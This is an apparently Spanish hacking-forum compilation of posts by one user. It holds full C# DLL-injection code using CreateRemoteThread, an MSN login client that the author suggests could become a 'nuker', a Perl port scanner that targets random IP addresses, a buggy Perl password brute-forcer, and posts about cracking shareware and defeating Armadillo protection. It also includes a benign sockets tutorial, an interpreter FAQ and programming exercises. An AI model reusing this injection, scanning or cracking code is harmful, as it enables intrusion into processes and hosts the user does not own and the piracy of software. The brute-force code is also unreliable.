                respuesta = Encoding.ASCII.GetString(RecvBytes, 0, bytes);

                //Segunda Conexión
                socket.Send(Send2, Send2.Length, SocketFlags.None);
                bytes = socket.Receive(Rec, Rec.Length, SocketFlags.None);
                respuesta = Encoding.ASCII.GetString(Rec, 0, bytes);

                //tercera Conexión
                socket.Send(Send3, Send3.Length, SocketFlags.None);
                bytes = socket.Receive(Rec3, Rec3.Length, SocketFlags.None);
                respuesta = Encoding.ASCII.GetString(Rec3, 0, bytes);

                Program o = new Program();

                IPnueva = o.depurarip(respuesta);

                socket.Close();

                Console.WriteLine("\nConectando...");

                //Cuarta conexión
                IPHostEntry addressa = Dns.GetHostEntry(IPnueva);
                IPEndPoint Epo = new IPEndPoint(addressa.AddressList[0], 1863);
                Socket socket2 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                socket2.Connect(Epo);
                socket2.Send(Send4, Send4.Length, SocketFlags.None);
                bytes = socket2.Receive(Rec4, Rec4.Length, SocketFlags.None);
                respuesta = Encoding.ASCII.GetString(Rec4, 0, bytes);

                //Quinta conexión
                socket2.Send(Send5, Send5.Length, SocketFlags.None);
                bytes = socket2.Receive(Rec5, Rec5.Length, SocketFlags.None);
                respuesta = Encoding.ASCII.GetString(Rec5, 0, bytes);

                //Sexta conexión
                socket2.Send(Send6, Send6.Length, SocketFlags.None);
                bytes = socket2.Receive(Rec6, Rec6.Length, SocketFlags.None);
                respuesta = Encoding.ASCII.GetString(Rec6, 0, bytes);

                cookie = respuesta.Substring(12);


                //Septima conexión
                string tiket;
                string head;

                cab7 = "Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + cuentaurl + ",pwd=" + pass + "," + cookie + "\r\n";
                WebRequest request = WebRequest.Create("https://login.passport.com/login2.srf");
                request.Headers.Add("Authorization", cab7);
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                head = Convert.ToString(response.Headers);
                tiket = o.Sacacookie(head);
                response.Close();

                //Ultima conexión
                string cab8 = "USR 7 TWN S t=" + tiket + "\r\n";
                Byte[] Send8 = Encoding.ASCII.GetBytes(cab8);
                Byte[] Rec8 = new Byte[255];

                socket2.Send(Send8, Send8.Length, SocketFlags.None);
                bytes = socket2.Receive(Rec8, Rec8.Length, SocketFlags.None);
                respuesta = Encoding.ASCII.GetString(Rec8, 0, bytes);

                nick = respuesta.Substring(cuenta.Length + 10);

                string decode;
                int fin;

                fin = nick.IndexOf("??$");
                nick = nick.Substring(0, fin);

                decode = o.urldecode(nick);

                Console.WriteLine("\n\nTu nick es: {0}",decode);

                Console.Read();
            }
            catch
            {
                Console.WriteLine("Ocurrió un error");
                Console.Read();
            }
        }
    }
}

A partir de esta base se pueden hacer otros proyectos como son versiones del MSN tipo AMSN, se pueden hacer MSN nukers....eso lo dejo a vuestra elección.

Un Saludo. 

PD: Quiero dar las gracias a MazarD, sin su ayuda no habria podido conectar con login.passport.com...

Bueno, esta tarde como ya estaba cansado de programar otra cosa me decidi a traducir el codigo en C de MazarD sobre inyectar una Dll con el metodo de CreateRemoteThread. Antes lo habia intentado en VB pero me daba error en una API, con este lenguaje no e tenido problemas en traducirlo (lo que mas me a costado a sido buscar las declaraciones de las Apis.... ).

Aqui va el codigo:

Código (C#) [Seleccionar] Expandir

/* Inyección de Dll escrito por Hendrix
* en base al codigo en C de MazarD por
* CreateRemoteThread.
*
* Fecha: 2-6-2007
*
* Dll echa en Vc++
*/

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.ComponentModel;
using System.IO;

namespace ConsoleApplication1
{
    class Apis
    {
        [DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
        public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

        [DllImport("kernel32", CharSet = CharSet.Ansi)]
        public extern static int GetProcAddress(int hwnd, string procedureName);

        [DllImport("kernel32.dll", EntryPoint = "GetModuleHandle")]
        public static extern int GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool CloseHandle(IntPtr hObject);

        [DllImport("kernel32", EntryPoint = "CreateRemoteThread")]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);

        [DllImport("kernel32.dll",EntryPoint = "WriteProcessMemory")]
        public static extern IntPtr WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, IntPtr lpNumberOfBytesWritten);

    }



    class Program
    {
        static int Main(string[] args)
        {
            uint pid;
            int load;
            uint tama;
            string ladll;
            string nom;

            const uint PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFF;
            const uint MEM_COMMIT = 0x1000;
            const uint MEM_RESERVE = 0x2000;
            const uint PAGE_READWRITE = 0x40;

            try
            {
                Console.Write("Introduce el nombre del proceso (sin la extension): ");
                nom = Console.ReadLine();
                Console.Write("\nIntroduce la ruta de la dll a inyectar: ");
                ladll = Console.ReadLine();

                if (File.Exists(ladll) == false)
                {
                    Console.WriteLine("La ruta de la Dll no existe");
                    Console.Read();
                    return 0;
                }

                Byte[] dll = Encoding.ASCII.GetBytes(ladll);
                tama = Convert.ToUInt32(ladll.Length);

                Process[] nombre = Process.GetProcessesByName(nom);
                if (nombre.Length == 0)
                {
                    Console.WriteLine("El proceso no existe");
                    Console.Read();
                    return 0;
                }
                pid = Convert.ToUInt32(nombre[0].Id);

                IntPtr proc = Apis.OpenProcess(PROCESS_ALL_ACCESS, false, pid);
                load = Apis.GetProcAddress(Apis.GetModuleHandle("kernel32.dll"), "LoadLibraryA");
                IntPtr nLoad = new IntPtr(load);
                IntPtr rems = Apis.VirtualAllocEx(proc, IntPtr.Zero, Convert.ToUInt32(ladll.Length), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
                Apis.WriteProcessMemory(proc, rems, dll, tama, IntPtr.Zero);
                Apis.CreateRemoteThread(proc, IntPtr.Zero, 0, nLoad, rems, 0, 0);
                Apis.CloseHandle(proc);
                return 1;
            }

            catch
            {
                Console.WriteLine("\nUn error ha ocurrido.");
                Console.ReadLine();
                return 0;
            }

           

        }
    }
}

Le e añadido algo de poca importancia, y es que en el codigo de MazarD te pedia el pid y en este te pide el nombre (sin la extension) del ejecutable donde se tiene que inyectar, que es algo mas comodo.

Un Saludo y espero que le sirva a alguien. 



Nota al moderador:
Si se tiene que mover a Troyenos y Virus se meuve....no lo e posteado hay porque precisamente esta el de MazarD en C...

[Sockets en C#]

Sockets en C#

Index:

• Introducción
• ¿Qué es un Socket?
• Teoria sobre Sockets en C#
• Programando una aplicacion Cliente-Servidor
• Implementación del protocolo HTTP en C# mediante Sockets
• Despedida

1. Introducción

En este tutorial voy a explicar como trabajar con sockets en C#, este tutorial puede servir tanto para C# como para VB, aunque lo centrare en C#. Recuerden que exportar un codigo en C# a otro en VB no es tan complicado.

A lo largo de este tutorial veremos que significa la palabra socket y como crearnos uno, pasaremos por un ejemplo de aplicación Cliente-Servidor hasta llegar a un ejemplo en el que con nuestra aplicacion haremos una peticion a una pagina web para que nos mande su Index.html (que es lo que hacen los navegadores).

Bueno, por ultimo apuntar que trabajaremos en modo consola, que aprticularmente me gusta más.

Ahora si, ya podemos empezar con lo que verdaderamente es el tutorial.

2. ¿Qué es un socket?

Para responder a esta pregunta, podemos consultar perfectamente la wikipedia, que siempre es de gran ayuda.

Cita de la Wikipedia:

Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiarse cualquier flujo de datos, generalmente de manera fiable y ordenada.

Un socket queda definido por una dirección IP, un protocolo y un número de puerto.

Es decir, es un metodo para que aplicaciones situadas en disdintos ordenadores (o no, pueden comunicarse perfectametne aplicaciones situadas en el mismo ordenador) puedan comunicarse. Para ello, se necesita la IP, un Puerto y un Protocolo. Nosotros utilizaremos el protocolo TCP.

Basicamente al socket le pasaremos la IP a conectar, el puerto a conectar/escuchar y el protocolo, aparte de otras cosas, pero lo importante es eso.

3. Teoria sobre Sockets en C#

Este apartado es un "pasos previos" para hacer la aplicacion del siguiente capitulo.

Para inidicar que queremos trabajar con sockets, tenemos que agregar la siguientes lineas en el Using:

Código [Seleccionar] Expandir

using System.Net;
using System.Net.Sockets;

Asi le indicamos que trabajaramos con sockets.

Para conseguir la direccion del IP se usa el IPAddress, un ejemplo y luego lo explico:

Código [Seleccionar] Expandir

IPAddress direc = Dns.GetHostEntry("localhost").AddressList[0];

Lo que se hace aqui es poner dentro de direc la IP de localhost, eso no se guarda ni en int ni en long ni en string, se guarda en IPAddress, para luego usarse en la siguiente instrucción:

Código [Seleccionar] Expandir

IPEndPoint Ep = new IPEndPoint(direccion, puerto);

NOTA: Aunque se trabaje con numeros, esos numeros de la IP se tienen que pasar a IPAddress, ya que como int no lo va a tomar.

Donde direccion es lo que habiamos conseguido antes con IPAddress, y en puerto le ponemos un int que queramos, por ejemplo:

Código [Seleccionar] Expandir

IPEndPoint Ep = new IPEndPoint(direc, 12345);

Lo siguiente es crear el socket con lo obtenido hasta ahora. Lo llamaremos asi:

Código [Seleccionar] Expandir

Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

Dividamoslo por agrumentos:

AddressFamily.InterNetwork: Esto indica que la direccion es para una IP v4 (xxx.xxx.xxx.xxx)

SocketType.Stream: Es el tipo de socket, hay varios tipos, para mas información sobre estos consultad la informacion que les da el entorno de programación.

ProtocolType.Tcp: Es el potocolo que se usara, tambien hay vario, para mas informacion consulten el entorno de programación.

Bien, una vez echo esto ya tenemos el socket apunto para ser usado. Para usarlo, vamonos directamente a la practica, es decir, al punto siguiente.

4. Programando una aplicacion Cliente-Servidor

Con lo de capitulo anterior agregado a nuestra futura aplicación, ya estamos listos para empezar a explicar todo lo que falta.

En este capitulo programaremos un servidor, con el cual nos conectaremos con el NetCat para comunicarnos con nuestra aplicación.

Al codigo que teniamos antes le agregamos estas lineas:

Código [Seleccionar] Expandir

socket.Bind(Ep);
socket.Listen(100);

Lo que hacemos aqui es proceder a escuchar por el puerto descrito en Ep (recuerden que era el 12345). Luego en la siguiente linea, el parametro de Listen establece la longitud máxima de la cola de conexiones pendientes que puede tener el servidor antes de empezar a rechazar conexiones.

La siguiente linea a agregar es la siguiente:

Código [Seleccionar] Expandir

Socket handler = socket.Accept();

Esta linea indica que el servidor queda esperando una llamada para leugo aceptarla.

Eso era la principal parte a explicar, ahora les pegare un codigo explicado de la aplicación que e echo:

Código [Seleccionar] Expandir

byte[] bytes = new byte[1024]; //Declaramos un array de bytes de longitud 1024
int count;
String data = ""; //Declaramos data, que sera donde se almacenaran los datos

do //Bucle Do/While
{
        count = handler.Receive(bytes); //Recibimos los datos enviados y lo guardamos en cout.
                data = System.Text.Encoding.ASCII.GetString(bytes, 0, count); //Lo codificamos a cadena (ya que se envian como bytes)
                if (data != "exit\n") //Mientras lo recibido no sea exit + \n (es decir, exit + Intro, ya que intro tambien se envia)
                {
                    Console.Write("Se a recibido: {0}", data); //Mostramos lo recibido pro pantalla
                }


        } while (data != "exit\n");  //Mientras lo recibido no sea exit + Intro se continua el bucle, si recibimos exit + intro, salimos del bucle

        Console.WriteLine("Se ha finalizado la conexión"); //Avisamos qde que se a terminado la transferencia de datos

        byte[] msg = System.Text.Encoding.ASCII.GetBytes("\n\nFinalizada conexion con la aplicacion"); //Codificamos de string a byte el siguiente mensage para que se pueda enviar al NetCat (Cliente)

        handler.Send(msg); //Enviamos el mensage al cliente
        handler.Shutdown(SocketShutdown.Both); //"Apagamos" los sockets
        handler.Close(); //Los cerramos

5. Implementación del protocolo HTTP en C# mediante Sockets

En este capítulo implementaremos un Cliente, el cual va a pedir a una pagina web que le transfiera el index de su pagina. Les pondre todo el codigo de mi Cliente comentado.

Código [Seleccionar] Expandir

using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.IO;

namespace ConsoleApplication2
{
    class Program
    {
        static void Main(string[] args)
        {
            string cabecera = "GET /index.html HTTP/1.0\n\n"; //Cabecera para hacer la peticion del index.
            string respuesta;
            Byte[] SendBytes = Encoding.ASCII.GetBytes(cabecera);
            Byte[] RecvBytes = new Byte[255];
            int bytes;
            bool semaforo;
            string html = "";
            int e;

            semaforo = false;

            IPHostEntry address = Dns.GetHostEntry("www.web.com");

            IPEndPoint Ep = new IPEndPoint(address.AddressList[0], 80);

            Socket socket = new Socket(AddressFamily.InterNetwork,
                                         SocketType.Stream,
                                         ProtocolType.Tcp);

            try
            {

                socket.Connect(Ep); //Conectamos

                socket.Send(SendBytes,SendBytes.Length,SocketFlags.None); //Enviamos la cabecera

                bytes = socket.Receive(RecvBytes,RecvBytes.Length,SocketFlags.None); //Recibimos la respuesta en bloques de 255 bytes

                respuesta = Encoding.ASCII.GetString(RecvBytes, 0, bytes); //Codificamos la respuesta

                while (bytes > 0)
                {

                    bytes = socket.Receive(RecvBytes,
                                             RecvBytes.Length,
                                             SocketFlags.None);

                    respuesta = Encoding.ASCII.GetString(RecvBytes, 0, bytes);

                    if (semaforo == false) //Filtro de encabezamientos
                    {
                        e = respuesta.IndexOf("<html>");
                        if (e != -1)
                        {
                            semaforo = true;
                            html = respuesta.Substring(e);
                        }
                    }
                    else
                    {
                        html += respuesta;
                    }

                }

                string fileName = "C:\\index.html"; //Guardamos lo recibido en C:\Index.html
                StreamWriter writer = File.CreateText(fileName);

                writer.WriteLine(html);
                writer.Close();

                Console.WriteLine("Archivo guardado con exito");
                Console.Read();

            }
            catch (Exception error) //Si durante el procedimiento hay error salta aqui.
            {
                Console.WriteLine("Se produció el siguiente error: " + error);
                Console.Read();
            }
        }
    }
}

6. Despedida

Bueno, hasta aqui llego este tutorial de Sockets en C#, la verdad es que son bastante faciles de manejar y son bastante completos.

Este documento lo e echo basandome en algunos textos de internet y obviamente segun mi experiencia con sokets.

Un Saludo.

Documento bajo licencia CopyLeft

[Beta]

Bueno, les presento este nuevo interprete del lenguaje que e echo en C#.

Esta en fase Beta

Les pongo el FAQ que e echo (es el archivo leeme.txt)

Interprete Lenguaje Pixie
By Hendrix

FAQ
----

1. ¿Que es Pixie?

Bueno, Pixie es un lenguaje interpretado que me e inventado yo mismo y lo e ido
implementando en C#.

Este lenguaje es GPL, asi que todo el mundo lo puede ir mejorando y/o cambiando de la
manera que quiera. Tambien agradeceria que si alguien le implementa mas comandos y lo
mejora me gustaria que me lo comentara por e-mail o por MP.

2. ¿Por que en C#?

Lo e echo en C# porque era un lengauje que me gustaba bastante, aparte de que me apetecia
hacer un programa en este lenguaje, ya que no e echo muchos proyectos en este lenguaje.

3. ¿Lo puede utilizar todo el mundo?

Esto es una de las cosas que me han decantado por hacerlo en C#, C# se ejecuta a partir
del Framework, por lo tanto se puede ejecutar en todos los SO (que dispongan del
Framework para su plataforma) que sea.

4. ¿Con el Framework son todo ventajas?

Evidentemente no, el framework implica una menor velocidad en la ejecucion de los
scripts. Un programa en C es muchisimo mas rapido que uno en C# por culpa del framework.

Otro inconveniente es que para utilizar mi interprete deben de tener instalado el Framework.

5. ¿A parte de la beta, vas a sacar mas versiones?

Mi intención es llegar hasta una version estable (con los suficientes comandos para que
este lengauje pueda ser usado realmente) y luego le añadire compilador para que genere
.exe's.


Lista de Comandos:
-------------------

· Print: Funciona como el print de perl (incluso con sus variables), por ejemplo:

print ("Hola Mundo")

y con una variable:

print ("Me llamo $nombre")

· variables: Tambien son como perl

$a = 1 + 2

$nombre = Hendrix

NOTA: dejar los espacios despues del signo =

. title: Sirve para cambiar el titulo de la ventana


title ("Nuevo Titulo")

· wait: Espera a que se pulse una tecla

Ejemplo: wait

· exec: Ejecuta un archivo

exec ("C:\archivo.exe")

· kill: elimina un archivo

kill ("C:\archivo.txt")

· dec: declara una variable

dec (variable)

· gets: Guarda dentro de una variable lo que se le pase por teclado

ejemplo:

dec (nombre)

print ("Escribe tu nombre: ")
gets (nombre)


· If: Es el tipico "Si condicional"

Ejemplo:

dec (num)

print ("Introduce un numero: ")
gets (num)
if ($num = 18)
{
print ("Es 18")
}
else
{
print ("No es 18")
}
wait


· openfile: Prepara un archivo para ser trabajado (si no existe lo crea)

Ejemplo:

openfile ("C:\archivo.txt")


· write: Escribe en el archivo (si habia texto lo sobreescribe) (NOTA: es necesario
primero haber iniciado el archivo)

ejemplo:

write ("Linea de texto")


· add: Lo mismo que write pero sin sobreescribir

add ("Linea de texto añadida")


· closefile: Cierra el archivo


Obligaciones del lenguaje:
---------------------------

- Escribir siempre los comandos en minuscula
- Respectar los espacios entre signos matematicos


Hasta aqui llega esta pequeña introduccion.

Un Saludo.

Hendrix

[Ejercicios matematicos]

Propongo esta serie de ejercicios inventados al momento:

Ejercicios matematicos

Ejercicio nº1:

- Calcular la letra del DNI a partir de un numero introducido

Algoritmo para sacar la letra del DNI

Ejercicio nº 2:

- A partir del algoritmo del ejercicio anterior, crear numeros aleatorios validos para una letra del DNI previamente introducida.

Ejercicio nº 3:

- Crear una aplicacion que te pida un año y verifique si el año es bisiesto o no.

Ejercicio nº 4:

- Crear una aplicacion que pida un numero y haga la succeción de Fibonacci.

Ejercicio nº 5:

- Crear uina aplicacion que pida un numero de filas y respecto a estas, dibuje un triangulo como el siguiente:

*
***
*****
*******
*********

Ejercicio nº 6:

- Crear una alpicacion que pida un numero y lo devuelva en letras, por ejemplo:

Numero introducido: 356
Resultado: trescientos cincuenta y seis

Ejercicios con archivos:

Ejercicio nº 7:

- Crear una funcion para hacer un diccionario de fuerza bruta de 4 filas y lo guarde todo en un fichero.

Ejemplo de fuerza bruta

aaaa
aaab
aaac
aaad
aaae
..
..
..
zzzy
zzzz

ejercicio nº 8:

- Crear una funcion la cual se le introduzca el nombre de un archivo de texto y lo guarde, palabra por palabra, por ejemplo:

Archivo fuente: Esto son ejercicios para aprender a programar en C#

Archivo resultado:

Esto
son
ejercicios
para
aprender
a
programar
en
C#

Texto a ordenar:

Leonardo de Pisa o Leonardo Pisano o Leonardo Bigollo, también llamado Fibonacci, fue un matemático italiano, famoso por la invención de la sucesión de Fibonacci, surgida como consecuencia del estudio del crecimiento de las poblaciones de conejos, y por su papel en la popularización del sistema de numeración posicional en base 10 en Europa.

Ejercicio nº 9:

- Crear una funcion la cual, a partir del Archivo resutlado del anterior ejercicio, lo ordene alfabeticamente y lo deje del mismo formato que el Archivo resultado (es decir, linea a linea).

Creo que ya es suficiente, a medida que vaya apsando el tiempo, si nadie lo postea, posteare yo mismo las soluciones (estos ejercicios son facilitos, es lo unico que se me venia a la cabeza).

Un Saludo.

Bueno, en mis tiempos libres me dedico a descargar programas de Softoic limitados, y los crackeo...aqui tienen los manuales que de momento e escrito sobre algunos softwares.

Crackeando MP3 Joiner + Traduccion + Aplicacion estilo XP by Me

Password Agent

Evidentemente no solo e crackeado 2 programas, aunque no escribo manuales de todos los que craqueo, seria de locos...xDDD

Como dije antes, es mas para iniciados, asi que espero que sirva a alguien.

PD: Si alguein tambien se dedica a escribir tutoriales de estos que los ponga en este mismo post, asi podremos hacer una "libreria" con nuestros textos.

Un Saludo.

Bueno, pues la verdad, ya no se que hacer con el armadillo, me e pasado la tarde (desde las 3) leyendo textos sobre armadillo, pero en todos paro en el mismo sitio....me e leido los de Ricardo Narvaja y me kedo en donde se tiene que buscar el call encriptador y el desencriptador, para buscarlo hace View --> Call Stack, y le aparece el valor del WriteProcessMemory y mas abajo otros calls, y en mi Olly solo me sale el WriteProcessMemory, asi que me es imposible buscar los calls encriptadores ni los desencriptadores....

Alguna sugerencia??

PD: Mi programa a crackear usa CopyMem II, ya que en File --> Atach hay 2 procesos....

Un Saludo.

Ale, pues siguiendo con esta tipica "moda" ( ), voy a donar el Source de mi interprete...

Lo doy ya que no lo pienso continuar, ya que estoy haciendo uno en C# bastante mejor...xDDD

Descarga

Espero que les sirva de referencia si se deciden a hacer algun interprete, les sera de ayuda, y lo hice sin referencia, lei como funcionaba y lo pase a VB...

Los dias que lo programe me comi bastante el coco, espero que el trabajo realizado en este programa sirva de algo...

Un Saludo.

Bueno, esto va para Sdc, se peude con el Debug ejecutar un prorama sin que este en el HD???que el codigo del programa este por ejemplo en una variable...

Salu2

[Sudoku]

Aki les dejo este codigo que enkontre en su web. Cito textualmente:

Sudoku

An elementary "sudoku" program; it solves sudoku puzzles, generates random sudoku puzzles, and rates sudoku puzzles. Given only as an example of introductory Python programming; nothing particularly clever here, and lots of missing features one might want (like a GUI!).

Descarga: sudoku.py

Espero que les sirva...

Salu2

[Editado....]

Pues aki esta la version 1.1 de mi nuevo lenguaje que estoy programando....Lo e echo en VB, consta de un interprete....si termino el interprete luego alomejor le pongo kompilador.

Aki les dejo la descarga:

Descargar BETA 1.1

Espero que me dejen sus criticas y los falos/bug's que enkuentren...

El interprete no lleva verificador de sintaxis, asi que no me digan que no se lo korrige puesto que aun no esta proramado eso...xD xD xD xD

Espero que les guste. Delante tienen horas y horas de programacion...

PD: no esta terminado, solo falta que ahora vengan y me digan que no esta terminado..xD xD xD es la version BETA o DEMO..

Salu2

Editado....

Lo e peusto en este subforo puesto que esta echo en VB, si no va aki muevanlo a donde corresponda...

Bien, e construido una consola en VB y todo muy bonito...ahora tengo una duda....como reseteo la consola??? se me okurrio cerrar su handle y volverla a crear....pero asi keda muy cutre/descarado....se nota bastante...no hay ningun metodo para resetear la consola sin tener que cerrarla???

PD: a resetear me refiero al efecto que tiene el comando cls en la pantalal del MS-DOS

Salu2

[lpfn]

Vamos a tratar un tema que a mi parecer no se a tratado mucho y a mi parecer es bastante importante, me refiero al API hooking.

Bien, lo que yo e konseguido es hookear APIS ejecutadas desde mi aplicación, ahora viene lo dificil, komo hookear API's que no esten en mi aplicacion??? Segun la ayuda de la API SetWindowsHookEx

Código [Seleccionar] Expandir

Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Con esta información:

lpfn puntero al procedimiento hook. Si el parametro dwThreadId es cero o especifica el indicador de un hilo creado por un proceso diferente, el parametro lpfn debe apuntar a un procedimietno hook en una dynamic-link library (DLL). En otro caso, lpfn puede apuntar a un procedimiento hook asociado con el proceso actual.

lpfn puntero al procedimiento hook. Si el parametro dwThreadId es cero o especifica el indicador de un hilo creado por un proceso diferente, el parametro lpfn debe apuntar a un procedimietno hook en una dynamic-link library (DLL). En otro caso, lpfn puede apuntar a un procedimiento hook asociado con el proceso actual.

hMod Identifica la DLL conteniendo el procedimiento hook apuntado por el parametro lpfn. El parametro hMod debe ser NULL si el parametro dwThreadId especifica un hilo creado por el proceso actual y si el procedimiento hook esta asociado con el codigo del proceso actual.

dwThreadId especifica el identificador del hilo con el que el procedimiento hook esta asociado. Si este parametro es cero, el procedimiento hook esta asociado con un hilo existente.

Es dacir, en lpfn tengo que poner lo que quiero hookear y en hMod la DLL a hookear???A mi parecer es asi, y en dwThreadId debo dejarlo vacio, es asi???

Bien, la ayuda me dice que si se a ejcutado correctamente el resutlado sera el manejador del procedimiento hook, ahora bien, que ago kon eso?? Si keiren ver el ejemplo de Hooking que tengo, veran que pasa el resutlado de la API SetWindowsHookEx a una variable y leugo ya no vuelve a tokar esa varaible.

Si alguien me lo puede explikar un pokito se lo agradeceria, o si alguien me pasa alguna pagina en español a poder ser sobre API Hooking en VB.

Salu2 y Gracias...

Bueno, alguien me puede ayudar en esto????- necesito kontar las lineas que tiene un textbox en Multiline.

Salu2 y Gracias

Estaba aburrido, y, ahora que se Perl, me e puesto a buscar codigos en C y e enkontrado uno de Rojodos, de fuerza bruta, y e decidido pasarlo a Perl. Aki esta el resultado:

Código [Seleccionar] Expandir

system ("cls");
system ("color 18");
print "Script de Brute Force en Perl\n";
print "Inicialmente escrito en Java por CrashCool\n";
print "Luego traducido a C por Rojodos\n";
print "Y finalmente traducido a Perl por Hendrix\n";
print " \n";
print "El programa trata de encontrar 911ooo secuencialmente\n";
print "Se puede cambiar en el Codigo Fuente\n";
print " \n";
print "Pulsa intro para iniciar el proceso\n";
$res = <STDIN>;



@cadena = ("1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
$longitud = @cadena;

@pass = ("9","1","1","o","o","o");

@bucle = ("","","","","","");

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime(time);

$timeini = "$hour:$min:$sec";

print " \n";
print "Proceso iniciado a las $timeini\n";
print " \n";
print "Crackeando...\n";


for ($a=0;$a<=$longitud;$a++) {
@bucle[0]= @cadena[a];
for ($b=0;$b<=$longitud;$b++) {
@bucle[1]= @cadena[b];
for ($c=0;$c<=$longitud;$c++) {
@bucle[2]= @cadena[d];
for ($d=0;$d<=$longitud;$d++) {
@bucle[3]= @cadena[d];
for ($e=0;$e<=$longitud;$e++) {
@bucle[4]= @cadena[e];
for ($f=0;$f<=$longitud;$f++) {
@bucle[5]= @cadena[b];
$comp = comparar(\@bucle, \@pass);
if ($comp ==1) {
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime(time);
$timefini = "$hour:$min:$sec";
print "Pass encontrada!! Proceso iniciado a las $timeini y terminado a las $timefini\n";
last;
last;
last;
last;
last;
last;
sleep 2;
}
}
}
}
}
}
}


sub comparar {
my ($primero, $segundo) = @_;
local $^W = 0;
return 0 unless @$primero == @$segundo;
for (my $i = 0; $i < @$primero; $i++) {
return 0 if $primero->[$i] ne $segundo->[$i];
}
return 1;
}



Lo e compilado y no da error....lo que pasa es que esto te viola la RAM..xD xD xD

Miradlo por encima y postear si enkontrais errores, ya que no e terminado de crackear la palabra....

Salu2

[Editado:]

Ayer empece kon este lenguaje y me enganche.....es facilisimo de aprender, miren lo que e echo hoy:

Código [Seleccionar] Expandir

#Script escrito integramente por Hendrix  *
#******************************************
#
#
use IO::Socket;

system("cls");
system ("color 18");
system ("title Escaner de IP's aleatorias by Hendrix");
print "Bienvenidos al escaneador de IP's de Hendrix\n";
print " \n";
sleep 3;

#*************** Menu *********************************

menu:;
system("cls");
print "Elige una opcion:\n";
print " \n";
print "1. Escanear una IP con rango de puertos\n";
print "2. Escanear una IP aleatoria con rango de puertos\n";
print "3. Escanear Netbios\n";
print "4. Ver tu IP\n";
print "5. Salir\n";
$opcion=<STDIN>;
if ($opcion!=1 && $opcion!=2 && $opcion!=3 && $opcion!=4 && $opcion!=5) {
print "Introduce un valor que este entre lso numeros que hay en el menu\n";
print " \n";
print "Pulsa intro para continuar\n";
$res=<STDIN>;
goto menu;
}
if ($opcion==1) {
&primero
}
if ($opcion==2) {
&dos
}
if ($opcion==3) {
&tres
}
if ($opcion==4) {
&cinco
}
if ($opcion==5) {
&sis
}

#*************** Sub Primero *********************************

sub primero {
print "Introduce la IP: ";
$ip=<STDIN>;
chop $ip;
@ver = split(/\./,$ip);
if ($ver[0]>255) {
print "Los numeros de la IP no pueden superar el numero 255\n";
sleep 2;
goto menu;
}
if ($ver[1]>255) {
print "Los numeros de la IP no pueden superar el numero 255\n";
sleep 2;
goto menu;
}
if ($ver[2]>255) {
print "Los numeros de la IP no pueden superar el numero 255\n";
sleep 2;
goto menu;
}
if ($ver[3]>255) {
print "Los numeros de la IP no pueden superar el numero 255\n";
sleep 2;
goto menu;
}
print "Introduce el puerto de inicio: ";
$pini=<STDIN>;
chop $pipi;
print "Introduce el puerto final: ";
$pfin=<STDIN>;
chop $pfin;
print " \n";
&scaner;
}

#*************** Sub Cinco *********************************

sub cinco {
system("ipconfig > ip.txt");
open (doc, "ip.txt");
@lineas = <doc>;
$var=join("\n", grep { /Direcci/  }  @lineas);
@ver= split(":", $var);
print "Tu direccion IP:$ver[1]\n";
close(doc);
system ("del /F /Q ip.txt");
print "Pulsa intro para continuar\n";
$res=<STDIN>;
goto menu;
}

#*************** Sub Dos *********************************

sub dos {
system ("cls");
$ip1=int(rand(255));
$ip2=int(rand(255));
$ip3=int(rand(255));
$ip4=int(rand(255));
$ip="$ip1.$ip2.$ip3.$ip4\n";
chomp $ip;
print "Se escaneara esta IP: $ip\n";
print " \n";
print "Introduce el puerto de inicio: ";
$pini=<STDIN>;
chop $pipi;
print "Introduce el puerto final: ";
$pfin=<STDIN>;
chop $pfin;
print " \n";
&scaner;
}

#*************** Sub Scaner *********************************

sub scaner {
for ($poberts=$pini;$poberts<=$pfin;$poberts++)
{
print "Escaneando puerto $poberts\n";
print " \n";
$sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => "$poberts", Proto => 'tcp');
if ($sock)   {
chomp $poberts;
print "- La IP $ip tiene el Puerto $poberts Abierto\n";
print " \n";
}
}
print "Finalizada la busqueda, pulsa intro para salir\n";
$res=<STDIN>;
goto menu;
}

#*************** Sub Tres *********************************

sub tres {
print "Introduce la IP: ";
$ip=<STDIN>;
chop $ip;
@ver = split(/\./,$ip);
if ($ver[0]>255) {
print "Los numeros de la IP no pueden superar el numero 255\n";
sleep 2;
goto menu;
}
if ($ver[1]>255) {
print "Los numeros de la IP no pueden superar el numero 255\n";
sleep 2;
goto menu;
}
if ($ver[2]>255) {
print "Los numeros de la IP no pueden superar el numero 255\n";
sleep 2;
goto menu;
}
if ($ver[3]>255) {
print "Los numeros de la IP no pueden superar el numero 255\n";
sleep 2;
goto menu;
}
print " \n";
print "Intentando NetBios\n";
